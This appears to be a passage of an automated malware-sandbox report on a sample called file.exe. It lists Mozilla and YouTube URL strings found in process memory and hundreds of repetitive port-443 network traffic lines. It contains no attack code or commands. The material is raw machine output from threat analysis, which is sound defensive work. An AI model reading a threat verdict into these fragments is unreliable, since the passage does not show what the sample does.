Source: JKJDBAAAEHIEGCAKFHCGDHIEGD.0.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000002.2080967365.0000000000464000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2080967365.0000000000436000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: file.exe, 00000000.00000002.2080967365.0000000000436000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/d=enterpk2016&ui=en-us&rs=en-us&ad=us
Source: file.exe, 00000000.00000002.2080967365.0000000000436000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/d=enterpk2016&ui=en-us&rs=en-us&ad=usGF8aHBnbGZoZ2ZuaGJncGpk
Source: file.exe, 00000000.00000002.2080967365.0000000000436000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/d=enterpk2016&ui=en-us&rs=en-us&ad=usWFwa21ibGlvYnwxfDB8MHxM
Source: file.exe, 00000000.00000003.2042015562.000000002361D000.00000004.00000020.00020000.00000000.sdmp, JKJDBAAAEHIEGCAKFHCGDHIEGD.0.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: chrome.exe, 00000001.00000002.1928092777.00004A30006E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/:
Source: chrome.exe, 00000001.00000002.1928092777.00004A30006E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/?feature=ytca
Source: chrome.exe, 00000001.00000002.1928092777.00004A30006E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/J
Source: chrome.exe, 00000001.00000002.1928092777.00004A30006E3000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1925666200.00004A30002C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/s/notifications/manifest/cr_install.html

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50007
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50009
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown	Network traffic detected: HTTP traffic on port 49939 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50021
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50020
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50023
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50022
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50025
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50024
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50027
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50026
Source: unknown	Network traffic detected: HTTP traffic on port 49985 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50000 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50021 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49995 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50011 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49940 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49973 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49917 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49962 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49970 -> 443
